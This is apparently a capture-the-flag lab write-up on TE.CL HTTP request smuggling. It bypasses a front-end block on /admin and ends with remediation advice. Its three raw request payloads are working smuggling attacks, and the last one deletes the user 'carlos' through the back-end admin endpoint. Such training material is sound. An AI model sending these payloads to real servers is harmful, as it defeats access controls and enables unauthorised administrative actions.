**SCENARIO**

This application involves a front-end and back-end server, and the back-end server doesn't support chunked encoding. There's an admin panel at /admin, but the front-end server blocks access to it. We will try to smuggle a request to the back-end server that accesses the admin panel.

**PROCEDURE**

1. Open the web application and try to visit the **/admin** page directly, we notice that the request got blocked due to front-end controls.
2. Using BurpSuite’s Repeater send a request to Payload 1 twice and we see that the merged request to /admin was rejected due to not using the header **Host: localhost**.
3. Send the request again after alteration like we did in Payload 2 and we got blocked due to the second request's Host header conflicting with the smuggled Host header in the first request.
4. We will append an empty parameter to the request so that we can mute all the other values of the original header.
5. Inject the Payload 3 in the Repeater tab and send the request twice, we see that we are now able to access the admin panel.

**PAYLOAD**

1. POST / HTTP/1.1

Host: YOUR-LAB-ID.web-security-academy.net

Content-length: 4

Transfer-Encoding: chunked

60

POST /admin HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

x=1

0

1. POST / HTTP/1.1

Host: YOUR-LAB-ID.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-length: 4

Transfer-Encoding: chunked

71

POST /admin HTTP/1.1

Host: localhost

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

x=1

0

POST / HTTP/1.1

Host: YOUR-LAB-ID.web-security-academy.net

Content-length: 4

Transfer-Encoding: chunked

87

GET /admin/delete?username=carlos HTTP/1.1

Host: localhost

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

x=1

0

**REMEDIATION**

1. **Consistent Parsing Between Servers:** Ensure that both the front-end and back-end servers parse and handle HTTP request encodings in a consistent manner. If the back-end server doesn't support chunked encoding, the front-end server should reject any requests that use it.
2. **Unified Architecture:** Using a single server to handle both front-end and back-end functionalities can mitigate discrepancies in request handling. This can eliminate the possibility of smuggling between two different servers.
3. **Implement Web Application Firewalls (WAFs):** WAFs inspect and filter HTTP traffic. Properly configured, they can detect and block anomalous requests, including potential smuggling attempts.
4. **Regularly Audit and Update Systems:** Regularly review and update server configurations. Monitor server logs for any suspicious activity. Any discrepancy in behavior between the front-end and back-end servers should be immediately addressed.
5. **Access Control:** Beyond just the front-end controls, the back-end system should also have strong authentication and authorization mechanisms. Even if a request is smuggled to the back-end, it should not be automatically trusted.